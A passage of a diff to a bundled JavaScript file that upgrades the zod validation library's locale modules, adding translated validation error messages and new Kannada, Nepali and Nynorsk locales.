"\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + set: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + map: { unit: "entries", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD", + email: "email \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95\u0CA6 \u0CB8\u0CAE\u0CAF", + date: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95", + time: "ISO \u0CB8\u0CAE\u0CAF", + duration: "ISO \u0C85\u0CB5\u0CA7\u0CBF", + ipv4: "IPv4 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + ipv6: "IPv6 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + mac: "MAC \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + cidrv4: "IPv4 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + cidrv6: "IPv6 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + base64: "base64-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + base64url: "base64url-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + json_string: "JSON\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + e164: "E.164 \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + credit_card: "\u0C95\u0CCD\u0CB0\u0CC6\u0CA1\u0CBF\u0C9F\u0CCD \u0C95\u0CBE\u0CB0\u0CCD\u0CA1\u0CCD \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + currency_code: "\u0C95\u0CB0\u0CC6\u0CA8\u0CCD\u0CB8\u0CBF \u0C95\u0CCB\u0CA1\u0CCD", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD" + }; + const TypeDictionary = { + // Compatibility: "nan" -> "NaN" for display + nan: "NaN" + // All other type names omitted - they fall back to raw values via ?? operator + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${expected}, \u0CB8\u0CCD\u0CB5\u0CC0\u0C95\u0CB0\u0CBF\u0CB8\u0CBF\u0CA6\u0CA8\u0CC1 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C86\u0CAF\u0CCD\u0C95\u0CC6: \u0C87\u0CB5\u0CC1\u0C97\u0CB3\u0CB2\u0CCD\u0CB2\u0CBF \u0C92\u0C82\u0CA6\u0CA8\u0CCD\u0CA8\u0CC1 \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0C85\u0C82\u0CB6\u0C97\u0CB3\u0CC1"}`; + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0CAA\u0CCD\u0CB0\u0CBE\u0CB0\u0C82\u0CAD\u0CBF\u0CB8\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0C95\u0CCA\u0CA8\u0CC6\u0C97\u0CCA\u0CB3\u0CCD\u0CB3\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C92\u0CB3\u0C97\u0CCA\u0C82\u0CA1\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0CAE\u0CBE\u0CA6\u0CB0\u0CBF\u0C97\u0CC6 \u0CB9\u0CCA\u0C82\u0CA6\u0CBF\u0C95\u0CC6\u0CAF\u0CBE\u0C97\u0CAC\u0CC7\u0C95\u0CC1 ${_issue.pattern}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6: \u0CAC\u0CB9\u0CC1\u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6\u0CAF\u0CBE\u0C97\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u0C97\u0CC1\u0CB0\u0CC1\u0CA4\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CA6 \u0C95\u0CC0 ${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0C95\u0CC0 \u0C87\u0CA8\u0CCD ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CA4\u0CBE\u0CB0\u0CA4\u0CAE\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF. \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${opts}`; + } + return "\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD"; + case "invalid_element": + return `\u0CB0\u0CB2\u0CCD\u0CB2\u0CBF \u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF ${issue2.origin}`; + default: + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD`; + } + }; +}; +function kn_default() { + return { + localeError: error31() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ko.js +var error32 = () => { const Sizable = { string: { unit: "\uBB38\uC790", verb: "to have" }, file: { unit: "\uBC14\uC774\uD2B8", verb: "to have" }, array: { unit: "\uAC1C", verb: "to have" }, - set: { unit: "\uAC1C", verb: "to have" } + set: { unit: "\uAC1C", verb: "to have" }, + map: { unit: "\uAC1C", verb: "to have" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62300,12 +64008,16 @@ var error27 = () => { duration: "ISO \uAE30\uAC04", ipv4: "IPv4 \uC8FC\uC18C", ipv6: "IPv6 \uC8FC\uC18C", + mac: "MAC \uC8FC\uC18C", cidrv4: "IPv4 \uBC94\uC704", cidrv6: "IPv6 \uBC94\uC704", base64: "base64 \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", base64url: "base64url \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", json_string: "JSON \uBB38\uC790\uC5F4", e164: "E.164 \uBC88\uD638", + credit_card: "\uC2E0\uC6A9\uCE74\uB4DC \uBC88\uD638", + currency_code: "\uD1B5\uD654 \uCF54\uB4DC", + iban: "IBAN", jwt: "JWT", template_literal: "\uC785\uB825" }; @@ -62376,11 +64088,11 @@ var error27 = () => { }; function ko_default() { return { - localeError: error27() + localeError: error32() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/lt.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/lt.js var capitalizeFirstCharacter = (text2) => { return text2.charAt(0).toUpperCase() + text2.slice(1); }; @@ -62394,7 +64106,7 @@ function getUnitTypeFromNumber(number4) { return "one"; return "few"; } -var error28 = () => { +var error33 = () => { const Sizable = { string: { unit: { @@ -62495,12 +64207,16 @@ var error28 = () => { duration: "ISO trukm\u0117", ipv4: "IPv4 adresas", ipv6: "IPv6 adresas", + mac: "MAC adresas", cidrv4: "IPv4 tinklo prefiksas (CIDR)", cidrv6: "IPv6 tinklo prefiksas (CIDR)", base64: "base64 u\u017Ekoduota eilut\u0117", base64url: "base64url u\u017Ekoduota eilut\u0117", json_string: "JSON eilut\u0117", e164: "E.164 numeris", + credit_card: "kredito kortel\u0117s numeris", + currency_code: "valiutos kodas", + iban: "IBAN", jwt: "JWT", template_literal: "\u012Fvestis" }; @@ -62580,17 +64296,18 @@ var error28 = () => { }; function lt_default() { return { - localeError: error28() + localeError: error33() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/mk.js -var error29 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/mk.js +var error34 = () => { const Sizable = { string: { unit: "\u0437\u043D\u0430\u0446\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, file: { unit: "\u0431\u0430\u0458\u0442\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, array: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, - set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } + set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, + map: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62616,12 +64333,16 @@ var error29 = () => { duration: "ISO \u0432\u0440\u0435\u043C\u0435\u0442\u0440\u0430\u0435\u045A\u0435", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441\u0430", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441\u0430", + mac: "MAC \u0430\u0434\u0440\u0435\u0441\u0430", cidrv4: "IPv4 \u043E\u043F\u0441\u0435\u0433", cidrv6: "IPv6 \u043E\u043F\u0441\u0435\u0433", base64: "base64-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", base64url: "base64url-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", json_string: "JSON \u043D\u0438\u0437\u0430", e164: "E.164 \u0431\u0440\u043E\u0458", + credit_card: "\u0431\u0440\u043E\u0458 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0438\u0447\u043A\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u043D\u0435\u0441" }; @@ -62690,17 +64411,18 @@ var error29 = () => { }; function mk_default() { return { - localeError: error29() + localeError: error34() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ms.js -var error30 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ms.js +var error35 = () => { const Sizable = { string: { unit: "aksara", verb: "mempunyai" }, file: { unit: "bait", verb: "mempunyai" }, array: { unit: "elemen", verb: "mempunyai" }, - set: { unit: "elemen", verb: "mempunyai" } + set: { unit: "elemen", verb: "mempunyai" }, + map: { unit: "elemen", verb: "mempunyai" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62726,12 +64448,16 @@ var error30 = () => { duration: "tempoh ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "julat IPv4", cidrv6: "julat IPv6", base64: "string dikodkan base64", base64url: "string dikodkan base64url", json_string: "string JSON", e164: "nombor E.164", + credit_card: "nombor kad kredit", + currency_code: "kod mata wang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -62798,17 +64524,130 @@ var error30 = () => { }; function ms_default() { return { - localeError: error30() + localeError: error35() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/nl.js -var error31 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ne.js +var error36 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + file: { unit: "\u092C\u093E\u0907\u091F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0907\u092E\u0947\u0932 \u0920\u0947\u0917\u093E\u0928\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u092E\u093F\u0924\u093F \u0930 \u0938\u092E\u092F", + date: "ISO \u092E\u093F\u0924\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u0920\u0947\u0917\u093E\u0928\u093E", + ipv6: "IPv6 \u0920\u0947\u0917\u093E\u0928\u093E", + mac: "MAC \u0920\u0947\u0917\u093E\u0928\u093E", + cidrv4: "IPv4 \u0926\u093E\u092F\u0930\u093E", + cidrv6: "IPv6 \u0926\u093E\u092F\u0930\u093E", + base64: "base64-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + base64url: "base64url-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + e164: "E.164 \u0928\u092E\u094D\u092C\u0930", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0928\u092E\u094D\u092C\u0930", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u0939\u0930\u0942 \u092E\u0927\u094D\u092F\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u093E ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} \u092E\u093E ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.prefix}" \u092C\u093E\u091F \u0938\u0941\u0930\u0941 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.suffix}" \u092E\u093E \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.includes}" \u0938\u092E\u093E\u0935\u0947\u0936 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: \u0922\u093E\u0901\u091A\u093E ${_issue.pattern} \u0938\u0901\u0917 \u092E\u0947\u0932 \u0916\u093E\u0928\u0941\u092A\u0930\u094D\u091B`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: ${issue2.divisor} \u0915\u094B \u0917\u0941\u0923\u091C \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u091E\u094D\u091C\u0940${issue2.keys.length > 1 ? "\u0939\u0930\u0942" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u091E\u094D\u091C\u0940: ${issue2.origin} \u092E\u093E`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u093E`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function ne_default() { + return { + localeError: error36() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nl.js +var error37 = () => { const Sizable = { string: { unit: "tekens", verb: "heeft" }, file: { unit: "bytes", verb: "heeft" }, array: { unit: "elementen", verb: "heeft" }, - set: { unit: "elementen", verb: "heeft" } + set: { unit: "elementen", verb: "heeft" }, + map: { unit: "elementen", verb: "heeft" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62834,12 +64673,16 @@ var error31 = () => { duration: "ISO duur", ipv4: "IPv4-adres", ipv6: "IPv6-adres", + mac: "MAC-adres", cidrv4: "IPv4-bereik", cidrv6: "IPv6-bereik", base64: "base64-gecodeerde tekst", base64url: "base64 URL-gecodeerde tekst", json_string: "JSON string", e164: "E.164-nummer", + credit_card: "creditcardnummer", + currency_code: "valutacode", + iban: "IBAN", jwt: "JWT", template_literal: "invoer" }; @@ -62909,17 +64752,132 @@ var error31 = () => { }; function nl_default() { return { - localeError: error31() + localeError: error37() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/no.js -var error32 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nn.js +var error38 = () => { + const Sizable = { + string: { unit: "teikn", verb: "\xE5 ha" }, + file: { unit: "bytes", verb: "\xE5 ha" }, + array: { unit: "element", verb: "\xE5 innehalde" }, + set: { unit: "element", verb: "\xE5 innehalde" }, + map: { unit: "element", verb: "\xE5 innehalde" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "e-postadresse", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO dato- og klokkeslett", + date: "ISO-dato", + time: "ISO-klokkeslett", + duration: "ISO-varigheit", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", + cidrv4: "IPv4-spekter", + cidrv6: "IPv6-spekter", + base64: "base64-enkoda streng", + base64url: "base64url-enkoda streng", + json_string: "JSON-streng", + e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + number: "tal", + array: "liste" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ugyldig input: forventa instanceof ${issue2.expected}, fekk ${received}`; + } + return `Ugyldig input: forventa ${expected}, fekk ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ugyldig verdi: forventa ${stringifyPrimitive(issue2.values[0])}`; + return `Ugyldig val: forventa eitt av ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Ugyldig streng: m\xE5 starte med "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Ugyldig streng: m\xE5 slutte med "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Ugyldig streng: m\xE5 innehalde "${_issue.includes}"`; + if (_issue.format === "regex") + return `Ugyldig streng: m\xE5 matche m\xF8nsteret ${_issue.pattern}`; + return `Ugyldig ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ugyldig tal: m\xE5 vere eit multiplum av ${issue2.divisor}`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Ukjende n\xF8klar" : "Ukjend n\xF8kkel"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ugyldig n\xF8kkel i ${issue2.origin}`; + case "invalid_union": + return "Ugyldig input"; + case "invalid_element": + return `Ugyldig verdi i ${issue2.origin}`; + default: + return `Ugyldig input`; + } + }; +}; +function nn_default() { + return { + localeError: error38() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/no.js +var error39 = () => { const Sizable = { string: { unit: "tegn", verb: "\xE5 ha" }, file: { unit: "bytes", verb: "\xE5 ha" }, array: { unit: "elementer", verb: "\xE5 inneholde" }, - set: { unit: "elementer", verb: "\xE5 inneholde" } + set: { unit: "elementer", verb: "\xE5 inneholde" }, + map: { unit: "elementer", verb: "\xE5 inneholde" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62943,14 